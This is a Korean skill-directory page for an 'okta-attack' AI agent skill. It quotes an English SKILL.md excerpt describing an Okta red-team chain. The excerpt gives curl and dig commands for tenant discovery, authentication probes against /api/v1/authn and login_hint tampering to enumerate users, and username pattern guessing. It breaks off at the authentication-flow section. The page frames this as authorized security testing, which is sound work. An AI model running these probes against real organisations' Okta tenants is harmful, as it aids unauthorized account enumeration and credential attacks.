본문으로 건너뛰기
Skillpedia
보안48k · #5362

okta-attack

하는 일

이 도구는 조직 안에서 로그인 시스템인 Okta가 어떻게 설정되어 있는지 확인하고 테스트하도록 돕습니다. 로그인 시스템에 대한 정보를 찾고, 다양한 시도에 어떻게 반응하는지 알아보는 데 쓸 수 있습니다.

사용하는 경우

  • ✓회사가 로그인에 Okta를 사용하는지 확인해야 할 때.
  • ✓어떤 로그인 방식(비밀번호, SMS, 앱 등)이 활성화되어 있는지 알고 싶을 때.
  • ✓Okta를 사용하는 시스템에서 허가된 보안 테스트를 수행하는 경우.

스킬 링크

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/okta-attack/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/okta-attack/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“Company X의 웹사이트가 Okta를 사용하는지, 그리고 어떤 인증 방식이 가능한지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

도구는 웹사이트 주소와 서버 응답에서 Okta 사용을 나타내는 특정 패턴을 찾습니다. 또한 여러 종류의 로그인 시도에 시스템이 어떻게 반응하는지 관찰해 설정된 인증 유형을 알아낼 수 있습니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

When to use this skill

Trigger when:

  • DNS shows <tenant>.okta.com or <tenant>.okta-emea.com (EMEA region)
  • Login flow redirects to <tenant>.okta.com/login or /app/<app_id>/sso/saml
  • Web pages reference /signin/customize, oktapreview.com, or auth-js-sdk
  • Recon notes "uses Okta for SSO"
  • A target has *.okta.com SAN in TLS cert
  • Identity-fabric mapping returns Okta as IdP for a corporate app

DO NOT use for:

  • Entra ID (use m365-entra-attack instead)
  • Google Workspace (use google-workspace-attack — not yet built)
  • ADFS (different protocol, on-prem)

Tenant discovery

Direct guesses

# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
  for region in okta okta-emea oktapreview; do
    host="$tenant.$region.com"
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  $host  $code"
  done
done

Cross-ref from DNS

# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
  dig +short "sso.$domain" CNAME
  dig +short "login.$domain" CNAME
  dig +short "auth.$domain" CNAME
  dig +short "okta.$domain" CNAME
done

Cross-ref from app HTTP flow

# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant

User enumeration

Method 1 — /api/v1/authn differential

The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.

# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<email>","password":"_test_invalid_pw"}'

# Response codes:
#   401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
#   401 + "errorCode":"E0000119" → account locked
#   200 → MFA prompt (cred VALID, MFA needed)
#   200 + "status":"SUCCESS" → full auth (rare in modern setups)

⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.

Method 2 — /api/v1/users/me/factors timing

Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.

Method 3 — Sign-in widget JS endpoint

curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
# Response varies by tenant config

Method 4 — Org-specific identifier probing

Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:

firstname.lastname@target.com
firstname_lastname@target.com  
flastname@target.com
employeeID@target.com

Method 5 — OIDC /v1/authorize with login_hint

# Tampering with login_hint param can reveal user existence on some configs
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't

Authentication flow analysis (always do this first)

# Initial auth — observe what factors come back

…
자주 묻는 질문

Okta란 무엇인가요?

회사가 여러 서비스와 앱에 대해 하나의 로그인(이메일과 비밀번호 등)으로 누가 시스템에 접근할 수 있는지 관리하도록 돕는 서비스입니다.

이것을 사용하려면 왜 허가가 필요한가요?

이 도구는 허가된 보안 테스트를 위한 것입니다. 테스트 권한이 없는 시스템에서 허가 없이 사용하면 불법이며 심각한 결과를 초래할 수 있습니다.

‘레드팀 공격 체인’이란 무엇인가요?

통제되고 허가된 방식으로 실제 공격을 시뮬레이션하여 시스템 보안을 테스트하기 위해 사용하는 일련의 단계나 기법을 말하는 정보 보안 용어입니다.

상세 정보

작성자의 원본 설명

Okta-as-IdP red-team attack chain

repo: sickn33/agentic-awesome-skills

인기도

GitHub 스타
48k
순위
#5362
라이선스
MIT
업데이트
2026. 10. 15.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬